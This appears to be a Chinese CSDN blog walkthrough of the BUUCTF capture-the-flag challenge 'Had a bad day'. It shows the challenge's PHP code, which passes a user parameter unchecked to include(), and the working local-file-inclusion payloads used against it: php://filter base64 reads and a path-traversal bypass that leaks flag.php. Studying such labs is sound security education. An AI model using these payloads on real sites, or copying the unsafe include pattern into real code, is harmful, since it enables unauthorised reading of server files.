buuctf-[BSidesCF 2020]Had a bad day(小宇特详解)

最新推荐文章于 2024-06-29 10:44:52 发布

小宇特详解

最新推荐文章于 2024-06-29 10:44:52 发布

阅读量5.7k

点赞数 7

分类专栏： buuctf 文章标签： php web安全安全

本文链接：https://blog.csdn.net/xhy18634297976/article/details/122959626

版权

buuctf 专栏收录该内容

23 篇文章

订阅专栏

本文详细解析了一个涉及PHP的BSidesCF2020 Hadabadday挑战，主要讨论了SQL注入和文件包含漏洞。通过php://filter伪协议，作者展示了如何读取并解码index.php，以及如何利用文件包含漏洞读取flag.php内容，最终成功获取到flag。文章重点在于利用技巧和PHP安全防护的知识。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

buuctf-[BSidesCF 2020]Had a bad day(小宇特详解)

先看一下题目

这里上面有注入点，这里怀疑是SQL注入

先尝试读取一下index.php

这里使用php伪协议

payload：

php://filter:/convert.base64-encode/resource=index.php

存在文件包含漏洞，但是这里报错了，分析之后是无法打开流：操作失败

这里去除php后缀

payload

php://filter/convert.base64-encode/resource=index

解码之后找到index.php

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category参数必须有woofers,meowers,index才行

这里构造payload来包含flag.php

/index.php?category=woofers/../flag

那如何去获取flag.php的内容呢

这里使用的知识点是php://filter伪协议套协议

payload:

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

base64解码